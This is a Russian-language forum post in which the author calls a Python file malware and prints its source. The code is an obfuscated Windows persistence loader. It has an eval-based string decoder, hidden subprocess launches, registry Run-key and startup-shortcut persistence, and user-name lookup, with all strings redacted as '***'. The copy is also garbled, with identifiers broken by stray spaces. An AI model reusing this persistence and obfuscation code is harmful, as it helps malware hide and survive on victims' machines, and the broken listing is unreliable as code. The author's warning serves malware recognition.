Вообще ничего хорошего он не делает. Что именно он делал, сказать тяжело. так как основная часть команд идет извне, но в основном он заточен для работы с фаловой системой. Создание / выполнение произвольного кода.
Вообщем это зловред.
Если в будущем еще найдете файлы которые будут так массово игнорировать try: except: pass
То это как минимум говорит о том что, что-то не так.
Это как бы затычки на ошибки. Грубо говоря, волнует только выполниться программа или нет. А почему да или нет, не важно.
Код:
# coding: UTF-8
def uthrusts_I (uglory_I):
global uplagues_I
umisgives_I = ord (uglory_I [-1])
ueither_I = uglory_I [:-1]
uwithdraw_I = umisgives_I % len (ueither_I)
uassistant_I = ueither_I [:uwithdraw_I] + ueither_I [uwithdraw_I:]
uwooes_I = str () .join ([chr (ord (char) - 2048 - (uscarf_I + umisgives_I) % 7) for uscarf_I, char in enumerate (uassistant_I)])
return eval (uwooes_I)
uthrusts_I (u"")
import winreg, os, subprocess, sys
from optparse import OptionParser
from urllib.request import urlopen
parser = OptionParser()
parser.add_option(uthrusts_I (u"***"), dest=uthrusts_I (u"***"), default=uthrusts_I (u"***"))
parser.add_option(uthrusts_I (u"***"), dest=uthrusts_I (u"***"), default=uthrusts_I (u"***"))
opts, args = parser.parse_args()
utops_I=os.path.abspath(os.path.dir name(sys.argv[0]))
os.chdir(utops_I)
ually_I=ually_I.replace(uthrusts_I (u"***"), utops_I)
ucull_I=ucull_I.replace(uthrusts_I (u"***"), utops_I)
ucivil_I=utops_I+uthrusts_I (u"***")
ually_I = uthrusts_I (u"***")%(ually_ I, opts.APPNAME)
umatron_I = uthrusts_I (u"***")%(ucivil_I, ually_I) if len(ually_I)>0 else ucivil_I
token=opts.APPNAME
uconfines_I=uthrusts_I (u"***")%(ucivil_I, ucull_I)
def upowerful_I(s):
try:
subprocess.call(s, creationflags=0x08000200)
except:
pass
def usluttish_I(s):
from subprocess import Popen, PIPE, STDOUT
try:
p = Popen(s, creationflags=0x08000200, stderr=PIPE, stdout=PIPE, stdin=PIPE)
res=p.stdout.read().decode(uthrusts _I (u"***")).strip(uthrusts_I (u"***"))
p.stderr.read()
p.communicate()
return res
except:
return uthrusts_I (u"***")
def uheretics_I():
import subprocess
try:
r=subprocess.call(uthrusts_I (u"***")% token, creationflags=0x08000200)
return r==0
except:
return False
def ulusty_I():
import subprocess
try:
subprocess.call(uthrusts_I (u"***")%token, creationflags=0x08000200)
except:
pass
def ufees_I():
import subprocess, tempfile, os
uherald_I=udined_I.replace(uthrusts _I (u"***"), ucivil_I).replace(uthrusts_I (u"***"), ually_I).replace(uthrusts_I (u"***"), utops_I).replace(uthrusts_I (u"***"), udispleased_I())
fp=tempfile.NamedTemporaryFile(dele te=False)
fname=fp.name
fp.write(uherald_I.encode(uthrusts_ I (u"***")))
fp.close()
try:
subprocess.call(uthrusts_I (u"***")%(token, fname), creationflags=0x08000200)
except:
pass
os.unlink(fname)
def ueverlasting_I():
key=winreg.OpenKey(0x80000001, uthrusts_I (u"***"))
res=winreg.QueryValueEx(key, uthrusts_I (u"***"))
return res[0]
def uscathe_I():
try:
key=winreg.OpenKey(0x80000001, uthrusts_I (u"***"))
cmd=winreg.QueryValueEx(key, token)[0]
winreg.CloseKey(key)
if cmd!=umatron_I:
return False
return True
except:
return False
def urepose_I():
try:
key=winreg.OpenKey(0x80000001, uthrusts_I (u"***"), access=0x20006)
winreg.DeleteValue(key, token)
winreg.CloseKey(key)
except:
pass
def uantic_I():
try:
key=winreg.OpenKey(0x80000001, uthrusts_I (u"***"), access=0x20006)
winreg.SetValueEx(key, token, 0, winreg.REG_SZ, umatron_I)
winreg.CloseKey(key)
except:
pass
def upilgrims_I():
try:
ubeen_I=uthrusts_I (u"***") % token
uconceal_I=ueverlasting_I()
uunsatisfied_I=uthrusts_I (u"***") % (uconceal_I, ubeen_I)
return os.path.isfile(uunsatisfied_I)
except:
return False
def uscore_I():
try:
ubeen_I=uthrusts_I (u"***") % token
uconceal_I=ueverlasting_I()
uunsatisfied_I=uthrusts_I (u"***") % (uconceal_I, ubeen_I)
if os.path.isfile(uunsatisfied_I):
os.unlink(uunsatisfied_I)
except:
pass
def utear_I():
try:
from comtypes.client import CreateObject
from comtypes.gen import ufrowning_I
ws = CreateObject(uthrusts_I (u"***"))
ubeen_I=uthrusts_I (u"***") % token
uconceal_I=ueverlasting_I()
uunsatisfied_I=uthrusts_I (u"***") % (uconceal_I, ubeen_I)
ublood_I = ws.utongues_I(uunsatisfied_I).Query Interface(ufrowning_I.uhinds_I)
ublood_I.ustarveth_I=ucivil_I
ublood_I.uunhallow_I=ually_I
ublood_I.uwayward_I=utops_I
ublood_I.uconvey_I()
except:
pass
def udispleased_I():
import ctypes
uknave_I = ctypes.windll.secur32.GetUserNameEx W
upassado_I = 2
size = ctypes.c_ulong(0)
uknave_I(upassado_I, None, ctypes.byref(size))
uswung_I = ctypes.create_unicode_buffer(size.v alue)
uknave_I(upassado_I, uswung_I, ctypes.byref(size))
return uswung_I.value
def utransparent_I(s):
try:
return float(s)
except:
return 0.0
def main():
from math import ceil
from random import shuffle
from sys import argv
from time import time
ucontagion_I=[upilgrims_I, uscathe_I, uheretics_I]
usoled_I=[uscore_I, urepose_I, ulusty_I]
udignity_I=[utear_I, uantic_I, ufees_I]
if opts.ACTION==uthrusts_I (u"***"):
tm=0.0
if os.path.isfile(uthrusts_I (u"***")):
f=open(uthrusts_I (u"***"))
tm=utransparent_I(f.read())
f.close()
with open(uthrusts_I (u"***"), uthrusts_I (u"***")) as f:
f.write(str(time()))
if time()-tm<64.0:
return
subprocess.Popen(uconfines_I, creationflags=134217728)
uyonder_I=[]
for i in range(0, len(ucontagion_I)):
if not ucontagion_I[i]():
uyonder_I.append(udignity_I[i])
shuffle(uyonder_I)
uspake_I = len(ucontagion_I)-len(uyonder_I)
ustabbed_I=ceil(len(ucontagion_I)*0 .5)
ugossips_I=max(ustabbed_I-uspake_I, 0)
for j in range(0, ugossips_I):
uyonder_I[j]()
return
if opts.ACTION==uthrusts_I (u"***"):
for h in udignity_I:
h()
return
if opts.ACTION==uthrusts_I (u"***"):
for d in usoled_I:
d()
return
main()